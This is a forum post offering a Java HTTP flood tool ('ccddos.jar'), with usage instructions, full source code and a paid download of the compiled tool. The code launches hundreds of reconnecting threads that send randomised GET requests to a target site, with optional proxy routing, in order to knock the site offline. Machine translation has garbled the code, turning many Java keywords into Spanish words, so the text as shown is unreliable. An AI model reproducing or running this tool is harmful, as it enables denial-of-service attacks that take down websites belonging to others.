Código JAR Ataque dDOS implementado por Java. Sin embargo, no es diferente del dDos tradicional. Este software es un ataque DDOS a una página. Cómo usar: Java -JAR ccddos.jar www.xxx.com 80 10 /index.do Nombre de usuario=xxx 80
[mw_shl_code=java,true]import java.io.IOException; importar java.net.ConnectException; importar java.net.InetSocketAddress; importar java.nio.ByteBuffer; importar java.nio.channels.SelectionKey; importar java.nio.channels.Selector; importar java.nio.channels.SocketChannel; importar java.util.Iterator; importar java.util.Random; import java.util.Set; importar java.util.Timer; importar java.util.TimerTask; import java.util.Vector;
/** * Hilos demonio
* * Administración @author
* */ Prueba de clase pública { String host privado, uri, param; puerto privado de interés; final privado Vector<CCDDOSThread> v = nuevo Vector<CCDDOSThread>(); privada InetSocketAddress isa; hilos privados intCount = 500; Número de hilos privado Random r = new Random(); Privado tiempo largo = 5000L;
/** * Abran el ataque */ Public void start() { para (int i = 0; I < threadsCount; i++) { CCDDOSThread t = new CCDDOSThread(); v.add(t); t.start();
} Temporizador t = nuevo temporizador(); t.schedule(new TimerTask() { Public Void Run() { Recuento de inteligencia = 0, hilos de tiempo de salida = 0; long ct = System.currentTimeMillis(); para (<CCDDOSThread>Iterador it = v.iterator(); it.hasNext(); ) { CCDDOShread th = it.next(); si (th.isCancle() || !th.isAlive()) { it.remove(); th = nulo; count++; } si no (ct - th.start > tiempo muerto) { Tiempo muerto, extremo externo timeoutthreads++; th.setCancle(true); th.interrupt(); it.remove(); th = nulo; count++; } } si (cuenta == 0) { devolución; } System.out.println ("El hilo ha sido cerrado:"+count+", donde se conecta el hilo de tiempo de espera:" + hilos de tiempo límite); para (int i = 0; < conto; i++) { CCDDOSThread th = new CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100l); System.out.println ("Hilo demonio iniciado:"); }
/** * @param args */ empty estático público main(String[] args) { si (args.length < 6) { System.out.println("Instrucciones:"); System.out .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } si no si (args.length >= 8) { Establece un contrato con un agente System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
Test M = Nuevo Test(); m.host = args[0]; m.port = Enter.valueDe(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = Enter.valueOf(args[2]); m.timeout = Long.valueDe(args[5]); m.isa = nueva InetSocketAddress(m.host, m.port); m.start(); }
/** * Hilos de ataque * * @author zhanghongbo * */ clase CCDDOSThread extiende Hilo { Cancle booleano privado = falso; inicio largo público = System.currentTimeMillis();
public void setCancle(boolean cancle) { this.cancle = cancle; }
public boolean isCancle() { devolver a Cancle; }
Public Void Run() { inicio largo = System.currentTimeMillis(); Selector de selectores; try { selector = Selector.open(); SocketChannel sc; try { sc = SocketChannel.open(isa); } catch (ConnectException ex) { System.out.println(ex.getMessage()); cancle = verdadero; selector.close(); devolución; }
sc.configureBlocking(false); sc.register(selector, SelectionKey.OP_WRITE | SelectionKey.OP_READ); wait: while (selector.select() > 0 && !cancle) { if (System.currentTimeMillis() - inicio > tiempo de espera) { cancle = verdadero; Pausa espera; } Set<?> readykey = selector.selectedKeys(); Iterator<?> it = readykey.iterator(); while (it.hasNext() & !cancle) { if (System.currentTimeMillis() - inicio > tiempo de espera) { cancle = verdadero; Pausa espera; } SelectionKey skey = (SelectionKey) it.next(); it.remove(); SocketChannel scc = (SocketChannel) skey.channel();
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { Cabeza de cuerda = "GET" + uri + "?" + param + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Conexión:cerca\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write (bbf); } skey.cancel(); scc.close(); } } selector.close(); sc.close();
} catch (IOException ex) { cancle = verdadero; } } }
} [/mw_shl_code]
Descarga del producto terminado y del código fuente:
java ddos.zip
(8.42 KB, Número de descargas: 0, Precio de venta: 2 Grain MB)
|